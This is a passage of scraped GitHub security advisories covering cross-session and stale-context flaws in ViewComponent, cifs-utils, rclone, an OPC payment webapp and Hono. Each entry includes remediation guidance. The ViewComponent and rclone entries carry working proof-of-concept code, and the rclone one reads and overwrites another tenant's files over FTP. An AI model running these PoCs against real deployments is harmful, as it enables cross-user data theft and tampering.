output:\n\n```text\nauth_admin_first=ADMIN user=alice;host=admin.example;href=http://admin.example/accounts/42\nauth_guest_reused=ADMIN user=alice;host=admin.example;href=http://admin.example/accounts/42\nauth_guest_fresh=\"\"\n\nhost_attacker_prime=user=attacker;host=evil.example;href=http://evil.example/accounts/42\nhost_victim_reused=user=attacker;host=evil.example;href=http://evil.example/accounts/42\nhost_victim_fresh=user=victim;host=app.example;href=http://app.example/accounts/42\n\nslot_admin_first=parent_user=alice;parent_path=/admin;child_user=alice;child_path=/admin\nslot_guest_reused=parent_user=alice;parent_path=/admin;child_user=alice;child_path=/guest\nslot_guest_fresh=parent_user=bob;parent_path=/guest;child_user=bob;child_path=/guest\n\nrace_admin_thread=admin@/guest\nrace_guest_thread=admin@/guest\n```\n\n## Authorization-Impact PoC\n\nThe following PoC models a realistic downstream application pattern: a shared component registry caches component objects instead of caching component classes, factories, or rendered strings. An admin request primes the cached toolbar component. A later guest request renders the same cached object.\n\nThe component uses `render?` as an authorization-aware visibility gate and emits a representative privileged action link.\n\n```ruby\n$LOAD_PATH.unshift File.expand_path(\"lib\", Dir.pwd)\nrequire \"action_controller/railtie\"\nrequire \"rack/mock\"\nrequire \"view_component/base\"\n\nmodule SharedComponentRegistry\n  def self.admin_toolbar\n    @admin_toolbar ||= AdminToolbarComponent.new\n  end\n\n  def self.reset!\n    remove_instance_variable(:@admin_toolbar) if defined?(@admin_toolbar)\n  end\nend\n\nUser = Struct.new(:id, :role, keyword_init: true) do\n  def admin? = role == :admin\nend\n\nclass AppController \u003c ActionController::Base\n  helper_method :current_user, :admin?\n  attr_accessor :current_user\n\n  def admin?\n    current_user\u0026.admin?\n  end\nend\n\nroutes = ActionDispatch::Routing::RouteSet.new\nroutes.draw do\n  get \"/admin/users/:id/impersonate\", to: \"admin/users#impersonate\", as: :impersonate_admin_user\nend\nAppController.include routes.url_helpers\n\nclass AdminToolbarComponent \u003c ViewComponent::Base\n  def render?\n    helpers.admin?\n  end\n\n  def call\n    helpers.link_to(\n      \"Impersonate user 42\",\n      helpers.impersonate_admin_user_url(42, host: request.host),\n      data: { turbo_method: :post }\n    )\n  end\nend\n\nclass DashboardController \u003c AppController\n  def render_dashboard_with_shared_component\n    render_to_string(inline: \u0027\u003cmain\u003e\u003ch1\u003eDashboard\u003c/h1\u003e\u003c%= render SharedComponentRegistry.admin_toolbar %\u003e\u003c/main\u003e\u0027)\n  end\n\n  def render_dashboard_with_fresh_component\n    render_to_string(inline: \u0027\u003cmain\u003e\u003ch1\u003eDashboard\u003c/h1\u003e\u003c%= render AdminToolbarComponent.new %\u003e\u003c/main\u003e\u0027)\n  end\nend\n\ndef controller_for(user:, host:, path: \"/dashboard\")\n  c = DashboardController.new\n  c.current_user = user\n  c.set_request!(ActionDispatch::Request.new(Rack::MockRequest.env_for(path, \"HTTP_HOST\" =\u003e host)))\n  c.set_response!(ActionDispatch::Response.new)\n  c\nend\n\nSharedComponentRegistry.reset!\nadmin = User.new(id: 1, role: :admin)\nguest = User.new(id: 2, role: :guest)\n\nadmin_response = controller_for(user: admin, host: \"admin.example\").render_dashboard_with_shared_component\nguest_reused_response = controller_for(user: guest, host: \"app.example\").render_dashboard_with_shared_component\nguest_fresh_response = controller_for(user: guest, host: \"app.example\").render_dashboard_with_fresh_component\n\nputs \"admin_shared_contains_admin_link=#{admin_response.include?(\u0027/admin/users/42/impersonate\u0027)}\"\nputs \"guest_reused_contains_admin_link=#{guest_reused_response.include?(\u0027/admin/users/42/impersonate\u0027)}\"\nputs \"guest_fresh_contains_admin_link=#{guest_fresh_response.include?(\u0027/admin/users/42/impersonate\u0027)}\"\nputs \"guest_reused_contains_admin_host=#{guest_reused_response.include?(\u0027http://admin.example/admin/users/42/impersonate\u0027)}\"\nputs \"guest_reused_response=#{guest_reused_response.gsub(/\\s+/, \u0027 \u0027).strip}\"\nputs \"guest_fresh_response=#{guest_fresh_response.gsub(/\\s+/, \u0027 \u0027).strip.inspect}\"\n```\n\nObserved output:\n\n```text\nadmin_shared_contains_admin_link=true\nguest_reused_contains_admin_link=true\nguest_fresh_contains_admin_link=false\nguest_reused_contains_admin_host=true\nguest_reused_response=\u003cmain\u003e\u003ch1\u003eDashboard\u003c/h1\u003e\u003ca data-turbo-method=\"post\" href=\"http://admin.example/admin/users/42/impersonate\"\u003eImpersonate user 42\u003c/a\u003e\u003c/main\u003e\nguest_fresh_response=\"\u003cmain\u003e\u003ch1\u003eDashboard\u003c/h1\u003e\u003c/main\u003e\"\n```\n\nThis confirms a cross-user authorization impact in a realistic pattern: a guest receives privileged UI that a fresh component correctly suppresses. It also confirms stale request and Host context in the generated privileged URL.\n\n## Exploit Scenario\n\nA downstream app stores component instances in a constant, singleton service, memoized helper, cache object, or shared collection builder to avoid allocation. An attacker or lower-privileged user later triggers rendering of that same object.\n\nPotential real-world examples:\n\n- A navigation/sidebar component checks `helpers.admin?` in `render?`.\n- A tenant switcher uses `request.host` or `current_user.account`.\n- A component emits absolute URLs or signed action links.\n- A table uses slot child components that rely on helper/request state.\n- A global UI registry stores instantiated spacer or child components.\n\nIn these cases, a component first rendered under an admin or attacker-controlled request can affect later renders for other users.\n\n## Impact\n\nConfirmed impact classes:\n\n- stale privileged UI rendering\n- stale user identity through `helpers`\n- stale Host/request data in generated absolute URLs\n- slot child context inheritance\n- cross-thread context corruption\n- stale format/variant template selection\n- stale `view_flow` / `content_for` writes\n- collection and spacer component context leakage\n\nThis can chain into privilege escalation if an application relies on UI visibility as an authorization boundary. It can also leak signed links, tenant-specific URLs, admin actions, or user-specific data.\n\n## Preconditions\n\n- The same component, collection, slot, or spacer component instance is reused across render contexts.\n- The component reads request-scoped or user-scoped APIs such as `helpers`, `controller`, `request`, URL helpers, `render?`, `before_render`, slots, variants, formats, or `content_for`.\n- Higher impact when the shared object crosses users, tenants, roles, or threads.\n\nNormal per-request usage such as `render(MyComponent.new(...))` is not affected.\n\n## Chaining Potential\n\nThis issue can chain with:\n\n- UI-only authorization checks\n- signed admin links embedded in components\n- Host header poisoning\n- multi-tenant routing based on host/subdomain\n- shared component registries\n- fragment/component caching patterns that cache objects rather than rendered strings\n- concurrent Rails servers such as Puma\n\nThe framework alone does not directly prove account takeover, but downstream applications can reach high impact if stale component output exposes privileged action links or bypasses server-side authorization assumptions.\n\n## Remediation\n\nThe safest fix is to make component and collection instances one-shot renderables.\n\nRecommended options:\n\n1. Add a runtime guard in `render_in` that raises or warns when the same component instance is rendered again with a different `view_context`.\n2. Reset render-scoped ivars at the beginning of every render, including:\n   - `__vc_original_view_context`\n   - `@lookup_context`\n   - `@view_flow`\n   - `@__vc_requested_details`\n   - `@__vc_controller`\n   - `@__vc_helpers`\n   - `@__vc_request`\n3. Rebuild `ViewComponent::Collection` child component instances per render or document/enforce collections as one-shot.\n4. Avoid accepting a reusable instantiated `spacer_component`, or reset/clone it before rendering.\n5. Add thread-safety tests for concurrent rendering of a shared instance.",
  "id": "GHSA-9h85-g7w3-rh49",
  "modified": "2026-07-15T22:51:33Z",
  "published": "2026-07-15T22:51:33Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/ViewComponent/view_component/security/advisories/GHSA-9h85-g7w3-rh49"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ViewComponent/view_component/commit/7b05073be28037f7d5ff141e9dd42f3cf47956a4"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/ViewComponent/view_component"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ViewComponent/view_component/releases/tag/v4.12.0"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/view_component/CVE-2026-54497.yml"
    },
    {
      "type": "WEB",
      "url": "https://www.cve.org/CVERecord/SearchResults?query=CVE-2026-54497"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "ViewComponent: Reused Component Instances Retain Stale Render Context"
}

GHSA-C3C3-3XH6-R623

Vulnerability from github – Published: 2025-03-25 18:30 – Updated: 2025-03-25 18:30
VLAI
Details

A flaw was found in cifs-utils. When trying to obtain Kerberos credentials, the cifs.upcall program from the cifs-utils package makes an upcall to the wrong namespace in containerized environments. This issue may lead to disclosing sensitive data from the host's Kerberos credentials cache.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-2312"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-488"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-03-25T18:15:34Z",
    "severity": "MODERATE"
  },
  "details": "A flaw was found in cifs-utils. When trying to obtain Kerberos credentials, the cifs.upcall program from the cifs-utils package makes an upcall to the wrong namespace in containerized environments. This issue may lead to disclosing sensitive data from the host\u0027s Kerberos credentials cache.",
  "id": "GHSA-c3c3-3xh6-r623",
  "modified": "2025-03-25T18:30:54Z",
  "published": "2025-03-25T18:30:54Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-2312"
    },
    {
      "type": "WEB",
      "url": "https://git.samba.org/?p=cifs-utils.git;a=commit;h=89b679228cc1be9739d54203d28289b03352c174"
    },
    {
      "type": "WEB",
      "url": "https://web.git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/fs/smb?id=db363b0a1d9e6b9dc556296f1b1007aeb496a8cf"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-C476-6W5Q-JW77

Vulnerability from github – Published: 2026-09-10 22:46 – Updated: 2026-09-10 22:46
VLAI
Summary
rclone: FTP cross-session auth-proxy backend confusion
Details

Summary

The FTP auth-proxy driver stores one obscured password per username in a server-wide map. It does not bind the credential or returned VFS to the authenticated FTP session. If two accepted credentials use the same username but resolve to different proxy backends, the later login overwrites the map entry. Subsequent operations on the first, still-authenticated session are re-authorized with the later session's password and execute against the later session's backend.

This is not exploitable in every auth-proxy deployment. It requires a proxy that accepts distinct credentials for the same username and returns different roots or backend configurations, plus a later login while the attacker's session remains open. The behavior is nevertheless within the supported model: cmd/serve/proxy keys VFS entries by username, authentication material, and client IP specifically so a new credential can produce a fresh backend.

Confirmed affected versions are v1.75.0 and development commit 5629f2668c69149bf3d9d8e2a25bb32a2648606e. The username-global map was introduced in v1.64.0, but versions before credential-aware proxy caching may require cache expiration or different timing and are not claimed as confirmed here.

Affected Assets & Attack Surface

  • cmd/serve/ftp/ftp.go:170-178 defines userPass map[string]string as driver-global state keyed only by username.
  • cmd/serve/ftp/ftp.go:318-335 validates (user, pass) through the proxy and then overwrites d.userPass[user].
  • cmd/serve/ftp/ftp.go:352-373 retrieves the current map entry by Sess.LoginUser() for every filesystem operation and calls the proxy again with that password.
  • cmd/serve/ftp/ftp.go:376 onward routes FTP filesystem operations through getVFS, including stat, listing, retrieval, upload, rename, and deletion.
  • cmd/serve/proxy/proxy.go:114-119 documents credential- and client-IP-aware backend caching.
  • cmd/serve/proxy/proxy.go:235-243 derives a cache key from username, credential, and client IP.
  • cmd/serve/proxy/proxy.go:328-365 resolves and verifies the VFS using that composite identity.
  • Attack surface: any rclone serve ftp --auth-proxy ... deployment in which the proxy accepts more than one credential for a shared username and those credentials do not have equivalent backend authority.

Technical Root Cause Analysis

Authentication initially uses the correct session data:

d.proxy.Call(user, pass, false, sctx.Sess.RemoteAddr().String())

After success, the driver discards the returned VFS and VFS cache key. It obscures the password and stores it in:

d.userPass[user] = oPass

For each later FTP operation, getVFS knows only the session's username. It looks up whichever password was most recently stored for that username and calls the proxy again. The mutex prevents a Go data race but does not provide session isolation.

The authorization sequence is therefore:

  1. Session A authenticates as shared with credential A and receives backend A.
  2. Session B authenticates as shared with credential B and overwrites userPass["shared"].
  3. Session A performs another FTP command.
  4. getVFS uses credential B, not the credential that authenticated Session A.
  5. The proxy returns backend B, and Session A's command runs there.

This creates a cross-session identity mismatch; no race condition is required. Credential-dependent routing is not an artificial assumption added by the PoC: the proxy cache deliberately distinguishes the same username with different authentication material. A proxy that maps username alone, rejects all concurrent alternate credentials, or binds credentials to client IP in a way that rejects the replay is not exploitable by this sequence.

Proof of Concept & Evidence

Create two roots and a proxy that uses the password as a tenant token while requiring the same FTP username:

mkdir -p /tmp/rclone-ftp-attacker /tmp/rclone-ftp-victim
printf 'attacker-only\n' > /tmp/rclone-ftp-attacker/attacker.txt
printf 'victim-secret\n' > /tmp/rclone-ftp-victim/victim.txt

cat > /tmp/rclone-ftp-proxy.py <<'PY'
#!/usr/bin/env python3
import json
import sys

request = json.load(sys.stdin)
roots = {
    "attacker-token": "/tmp/rclone-ftp-attacker",
    "victim-token": "/tmp/rclone-ftp-victim",
}

if request.get("user") != "shared" or request.get("pass") not in roots:
    sys.exit(1)

print(json.dumps({
    "type": "local",
    "_root": roots[request["pass"]],
}))
PY
chmod 700 /tmp/rclone-ftp-proxy.py

Start the FTP server on loopback:

./rclone serve ftp \
  --auth-proxy "python3 /tmp/rclone-ftp-proxy.py" \
  --addr 127.0.0.1:2121 \
  --passive-port 30000-30010

In another terminal, keep both sessions open and trigger the overwrite:

python3 - <<'PY'
import ftplib
import io

def connect(password):
    ftp = ftplib.FTP()
    ftp.connect("127.0.0.1", 2121, timeout=5)
    ftp.login("shared", password)
    return ftp

attacker = connect("attacker-token")

# Establish the attacker's original authority.
original = bytearray()
attacker.retrbinary("RETR attacker.txt", original.extend)
assert original == b"attacker-only\n"

try:
    attacker.size("victim.txt")
    raise AssertionError("victim file unexpectedly visible before overwrite")
except ftplib.error_perm:
    pass

# A second principal logs in with the same username and a different token.
victim = connect("victim-token")
assert victim.size("victim.txt") > 0

# The first session is now silently rebound to the victim backend.
stolen = bytearray()
attacker.retrbinary("RETR victim.txt", stolen.extend)
print(stolen.decode().strip())
attacker.storbinary("STOR victim.txt", io.BytesIO(b"modified-by-first-session\n"))

attacker.quit()
victim.quit()
PY

grep -F modified-by-first-session /tmp/rclone-ftp-victim/victim.txt

Observed against 5629f2668c69149bf3d9d8e2a25bb32a2648606e:

  • Before the victim login, the attacker session resolves only the attacker root.
  • After the victim login, the already-authenticated attacker session reads victim.txt.
  • A write through the attacker session overwrites the file in the victim root.

The complete automated validation used the actual FTP listener, two simultaneous github.com/jlaffaye/ftp clients, and an external auth-proxy process that mapped the two tokens to separate temporary local roots. It verified the precondition that victim.txt was unavailable to the first session before the second login, then verified both cross-root read and overwrite after the login. It passed on Windows/amd64 with Go 1.26.2:

=== RUN   TestSecurityValidationFTPAuthProxyCrossSession
--- PASS: TestSecurityValidationFTPAuthProxyCrossSession (2.11s)

Both PoC sessions use loopback, so they have the same client IP and the test isolates the credential-keying defect. Across different client IPs, the issue remains reachable when the proxy does not bind credentials to source addresses. If the proxy enforces such a binding, replay of the victim credential may fail and that deployment is not exploitable by this sequence.

Impact Assessment

A low-privileged user with a valid auth-proxy credential can gain the read, write, and delete authority of another accepted credential sharing the same FTP username. The unauthorized capability is direct: the first session operates on the second credential's VFS without authenticating with that credential.

The maximum impact is cross-tenant disclosure, modification, and deletion of all objects exposed by the victim backend. Actual severity is lower when all credentials for a username intentionally represent the same principal and equivalent root. The victim or an automated client must log in after the attacker, and the attacker must keep the original FTP session open.

This is not a generic FTP username-enumeration issue and does not give an unauthenticated party access. It is a session-isolation failure in auth-proxy mode.

Remediation Guidance

Bind the credential or backend identity to the FTP session, never to the username. goftp.io/server/v2 exposes sctx.Sess.Data, which persists across commands for one session and is released with that session.

A compatible fix is:

  1. On successful CheckPasswd, store a private session binding in sctx.Sess.Data. The binding can contain the obscured password and username, or another opaque value sufficient to resolve the same proxy entry.
  2. In getVFS, retrieve only that session binding. Never consult a driver-global username map.
  3. If re-authentication occurs on the same FTP session, replace the binding only after the new authentication succeeds; clear it on a failed authentication attempt where the library keeps the session alive.
  4. Preserve proxy cache expiry semantics. Holding a VFS pointer forever would prevent the existing cache from expiring it; storing the session's obscured credential and re-calling Proxy.Call retains current expiry behavior while maintaining identity.
  5. Remove userPass, userPassMu, and the associated global credential lifetime after the session-based path is in place.

Avoid keying a replacement map by remote address, username, or client IP. Multiple sessions can share all of those values. If a library limitation makes Session.Data unsuitable, use the *ftp.Session pointer as the key and add reliable disconnect cleanup; session-owned state is preferable because cleanup is automatic.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.75.0"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/rclone/rclone"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.64.0"
            },
            {
              "fixed": "1.75.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-88017"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-488"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-10T22:46:33Z",
    "nvd_published_at": "2026-09-10T16:18:08Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nThe FTP auth-proxy driver stores one obscured password per username in a server-wide map. It does not bind the credential or returned VFS to the authenticated FTP session. If two accepted credentials use the same username but resolve to different proxy backends, the later login overwrites the map entry. Subsequent operations on the first, still-authenticated session are re-authorized with the later session\u0027s password and execute against the later session\u0027s backend.\n\nThis is not exploitable in every auth-proxy deployment. It requires a proxy that accepts distinct credentials for the same username and returns different roots or backend configurations, plus a later login while the attacker\u0027s session remains open. The behavior is nevertheless within the supported model: `cmd/serve/proxy` keys VFS entries by username, authentication material, and client IP specifically so a new credential can produce a fresh backend.\n\nConfirmed affected versions are `v1.75.0` and development commit `5629f2668c69149bf3d9d8e2a25bb32a2648606e`. The username-global map was introduced in `v1.64.0`, but versions before credential-aware proxy caching may require cache expiration or different timing and are not claimed as confirmed here.\n\n## Affected Assets \u0026 Attack Surface\n\n- `cmd/serve/ftp/ftp.go:170-178` defines `userPass map[string]string` as driver-global state keyed only by username.\n- `cmd/serve/ftp/ftp.go:318-335` validates `(user, pass)` through the proxy and then overwrites `d.userPass[user]`.\n- `cmd/serve/ftp/ftp.go:352-373` retrieves the current map entry by `Sess.LoginUser()` for every filesystem operation and calls the proxy again with that password.\n- `cmd/serve/ftp/ftp.go:376` onward routes FTP filesystem operations through `getVFS`, including stat, listing, retrieval, upload, rename, and deletion.\n- `cmd/serve/proxy/proxy.go:114-119` documents credential- and client-IP-aware backend caching.\n- `cmd/serve/proxy/proxy.go:235-243` derives a cache key from username, credential, and client IP.\n- `cmd/serve/proxy/proxy.go:328-365` resolves and verifies the VFS using that composite identity.\n- Attack surface: any `rclone serve ftp --auth-proxy ...` deployment in which the proxy accepts more than one credential for a shared username and those credentials do not have equivalent backend authority.\n\n## Technical Root Cause Analysis\n\nAuthentication initially uses the correct session data:\n\n```go\nd.proxy.Call(user, pass, false, sctx.Sess.RemoteAddr().String())\n```\n\nAfter success, the driver discards the returned VFS and VFS cache key. It obscures the password and stores it in:\n\n```go\nd.userPass[user] = oPass\n```\n\nFor each later FTP operation, `getVFS` knows only the session\u0027s username. It looks up whichever password was most recently stored for that username and calls the proxy again. The mutex prevents a Go data race but does not provide session isolation.\n\nThe authorization sequence is therefore:\n\n1. Session A authenticates as `shared` with credential A and receives backend A.\n2. Session B authenticates as `shared` with credential B and overwrites `userPass[\"shared\"]`.\n3. Session A performs another FTP command.\n4. `getVFS` uses credential B, not the credential that authenticated Session A.\n5. The proxy returns backend B, and Session A\u0027s command runs there.\n\nThis creates a cross-session identity mismatch; no race condition is required. Credential-dependent routing is not an artificial assumption added by the PoC: the proxy cache deliberately distinguishes the same username with different authentication material. A proxy that maps username alone, rejects all concurrent alternate credentials, or binds credentials to client IP in a way that rejects the replay is not exploitable by this sequence.\n\n## Proof of Concept \u0026 Evidence\n\nCreate two roots and a proxy that uses the password as a tenant token while requiring the same FTP username:\n\n```sh\nmkdir -p /tmp/rclone-ftp-attacker /tmp/rclone-ftp-victim\nprintf \u0027attacker-only\\n\u0027 \u003e /tmp/rclone-ftp-attacker/attacker.txt\nprintf \u0027victim-secret\\n\u0027 \u003e /tmp/rclone-ftp-victim/victim.txt\n\ncat \u003e /tmp/rclone-ftp-proxy.py \u003c\u003c\u0027PY\u0027\n#!/usr/bin/env python3\nimport json\nimport sys\n\nrequest = json.load(sys.stdin)\nroots = {\n    \"attacker-token\": \"/tmp/rclone-ftp-attacker\",\n    \"victim-token\": \"/tmp/rclone-ftp-victim\",\n}\n\nif request.get(\"user\") != \"shared\" or request.get(\"pass\") not in roots:\n    sys.exit(1)\n\nprint(json.dumps({\n    \"type\": \"local\",\n    \"_root\": roots[request[\"pass\"]],\n}))\nPY\nchmod 700 /tmp/rclone-ftp-proxy.py\n```\n\nStart the FTP server on loopback:\n\n```sh\n./rclone serve ftp \\\n  --auth-proxy \"python3 /tmp/rclone-ftp-proxy.py\" \\\n  --addr 127.0.0.1:2121 \\\n  --passive-port 30000-30010\n```\n\nIn another terminal, keep both sessions open and trigger the overwrite:\n\n```sh\npython3 - \u003c\u003c\u0027PY\u0027\nimport ftplib\nimport io\n\ndef connect(password):\n    ftp = ftplib.FTP()\n    ftp.connect(\"127.0.0.1\", 2121, timeout=5)\n    ftp.login(\"shared\", password)\n    return ftp\n\nattacker = connect(\"attacker-token\")\n\n# Establish the attacker\u0027s original authority.\noriginal = bytearray()\nattacker.retrbinary(\"RETR attacker.txt\", original.extend)\nassert original == b\"attacker-only\\n\"\n\ntry:\n    attacker.size(\"victim.txt\")\n    raise AssertionError(\"victim file unexpectedly visible before overwrite\")\nexcept ftplib.error_perm:\n    pass\n\n# A second principal logs in with the same username and a different token.\nvictim = connect(\"victim-token\")\nassert victim.size(\"victim.txt\") \u003e 0\n\n# The first session is now silently rebound to the victim backend.\nstolen = bytearray()\nattacker.retrbinary(\"RETR victim.txt\", stolen.extend)\nprint(stolen.decode().strip())\nattacker.storbinary(\"STOR victim.txt\", io.BytesIO(b\"modified-by-first-session\\n\"))\n\nattacker.quit()\nvictim.quit()\nPY\n\ngrep -F modified-by-first-session /tmp/rclone-ftp-victim/victim.txt\n```\n\nObserved against `5629f2668c69149bf3d9d8e2a25bb32a2648606e`:\n\n- Before the victim login, the attacker session resolves only the attacker root.\n- After the victim login, the already-authenticated attacker session reads `victim.txt`.\n- A write through the attacker session overwrites the file in the victim root.\n\nThe complete automated validation used the actual FTP listener, two simultaneous `github.com/jlaffaye/ftp` clients, and an external auth-proxy process that mapped the two tokens to separate temporary local roots. It verified the precondition that `victim.txt` was unavailable to the first session before the second login, then verified both cross-root read and overwrite after the login. It passed on Windows/amd64 with Go 1.26.2:\n\n```text\n=== RUN   TestSecurityValidationFTPAuthProxyCrossSession\n--- PASS: TestSecurityValidationFTPAuthProxyCrossSession (2.11s)\n```\n\nBoth PoC sessions use loopback, so they have the same client IP and the test isolates the credential-keying defect. Across different client IPs, the issue remains reachable when the proxy does not bind credentials to source addresses. If the proxy enforces such a binding, replay of the victim credential may fail and that deployment is not exploitable by this sequence.\n\n## Impact Assessment\n\nA low-privileged user with a valid auth-proxy credential can gain the read, write, and delete authority of another accepted credential sharing the same FTP username. The unauthorized capability is direct: the first session operates on the second credential\u0027s VFS without authenticating with that credential.\n\nThe maximum impact is cross-tenant disclosure, modification, and deletion of all objects exposed by the victim backend. Actual severity is lower when all credentials for a username intentionally represent the same principal and equivalent root. The victim or an automated client must log in after the attacker, and the attacker must keep the original FTP session open.\n\nThis is not a generic FTP username-enumeration issue and does not give an unauthenticated party access. It is a session-isolation failure in auth-proxy mode.\n\n## Remediation Guidance\n\nBind the credential or backend identity to the FTP session, never to the username. `goftp.io/server/v2` exposes `sctx.Sess.Data`, which persists across commands for one session and is released with that session.\n\nA compatible fix is:\n\n1. On successful `CheckPasswd`, store a private session binding in `sctx.Sess.Data`. The binding can contain the obscured password and username, or another opaque value sufficient to resolve the same proxy entry.\n2. In `getVFS`, retrieve only that session binding. Never consult a driver-global username map.\n3. If re-authentication occurs on the same FTP session, replace the binding only after the new authentication succeeds; clear it on a failed authentication attempt where the library keeps the session alive.\n4. Preserve proxy cache expiry semantics. Holding a VFS pointer forever would prevent the existing cache from expiring it; storing the session\u0027s obscured credential and re-calling `Proxy.Call` retains current expiry behavior while maintaining identity.\n5. Remove `userPass`, `userPassMu`, and the associated global credential lifetime after the session-based path is in place.\n\nAvoid keying a replacement map by remote address, username, or client IP. Multiple sessions can share all of those values. If a library limitation makes `Session.Data` unsuitable, use the `*ftp.Session` pointer as the key and add reliable disconnect cleanup; session-owned state is preferable because cleanup is automatic.",
  "id": "GHSA-c476-6w5q-jw77",
  "modified": "2026-09-10T22:46:33Z",
  "published": "2026-09-10T22:46:33Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/rclone/rclone/security/advisories/GHSA-c476-6w5q-jw77"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-88017"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rclone/rclone/commit/c6af0b57c2b4af848bc968c2b407354476184b99"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/rclone/rclone"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rclone/rclone/releases/tag/v1.75.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "rclone: FTP cross-session auth-proxy backend confusion"
}

GHSA-CJP9-H6X7-98P3

Vulnerability from github – Published: 2025-03-26 21:31 – Updated: 2025-03-27 15:31
VLAI
Details

An issue was discovered in OPC cardsystems Webapp Aufwertung 2.1.0. The reference assigned to transactions can be reused. When completing a payment, the first or all transactions with the same reference are completed, depending on timing. This can be used to transfer more money onto employee cards than is paid.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-30073"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-488"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-03-26T20:15:22Z",
    "severity": "HIGH"
  },
  "details": "An issue was discovered in OPC cardsystems Webapp Aufwertung 2.1.0. The reference assigned to transactions can be reused. When completing a payment, the first or all transactions with the same reference are completed, depending on timing. This can be used to transfer more money onto employee cards than is paid.",
  "id": "GHSA-cjp9-h6x7-98p3",
  "modified": "2025-03-27T15:31:06Z",
  "published": "2025-03-26T21:31:07Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-30073"
    },
    {
      "type": "WEB",
      "url": "https://www.syss.de/pentest-blog/businesslogik-fehler-bei-aufwertung-von-geldkarten-in-opcr-webapp-aufwertung-syss-2024-089"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-F23P-VX2J-J53R

Vulnerability from github – Published: 2026-08-07 18:42 – Updated: 2026-08-07 18:42
VLAI
Summary
Hono: `memo()` retains SSR output across requests, leading to cross-user data disclosure
Details

Summary

memo() from hono/jsx retains the result of a server-side render and reuses it for later renders with comparator-equal props. Request-scoped values read inside the component take no part in that comparison, so a response can contain HTML rendered for another user's request.

Details

Components wrapped with memo() are compared by props alone. Values read implicitly during rendering do not participate: JSX Context through createContext() and useContext(), useRequestContext() from hono/jsx-renderer, and getContext() from hono/context-storage. The retained result lives as long as the wrapped component, so it outlives the request that produced it.

Per-request context isolation is not what fails: the current request's values are established correctly, but the memoized component is skipped before anything reads them.

This issue arises when a component wrapped in memo() obtains user- or request-specific data from an ambient context instead of through props.

Impact

A user may receive a response containing HTML rendered for another user, when both render the same memoized component with comparator-equal props on the same warm instance.

This may lead to:

  • Disclosure of another user's account or profile data
  • Disclosure of request-scoped secrets embedded in HTML, such as CSRF tokens
  • Exposure of role-specific content to users who should not receive it

Exploitation depends on the order in which renders populate the retained value and on both requests reaching the same warm instance.

This issue affects applications that render with hono/jsx on the server and wrap a component reading ambient request state in memo(). Applications that pass all request-specific values through props, or that do not use memo(), are unaffected. Client-side rendering is unaffected.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "hono"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.8.0"
            },
            {
              "fixed": "4.12.34"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-71850"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-488"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-07T18:42:01Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\n\n`memo()` from `hono/jsx` retains the result of a server-side render and reuses it for later renders with comparator-equal props. Request-scoped values read inside the component take no part in that comparison, so a response can contain HTML rendered for another user\u0027s request.\n\n### Details\n\nComponents wrapped with `memo()` are compared by props alone. Values read implicitly during rendering do not participate: JSX Context through `createContext()` and `useContext()`, `useRequestContext()` from `hono/jsx-renderer`, and `getContext()` from `hono/context-storage`. The retained result lives as long as the wrapped component, so it outlives the request that produced it.\n\nPer-request context isolation is not what fails: the current request\u0027s values are established correctly, but the memoized component is skipped before anything reads them.\n\nThis issue arises when a component wrapped in `memo()` obtains user- or request-specific data from an ambient context instead of through props.\n\n### Impact\n\nA user may receive a response containing HTML rendered for another user, when both render the same memoized component with comparator-equal props on the same warm instance.\n\nThis may lead to:\n\n- Disclosure of another user\u0027s account or profile data\n- Disclosure of request-scoped secrets embedded in 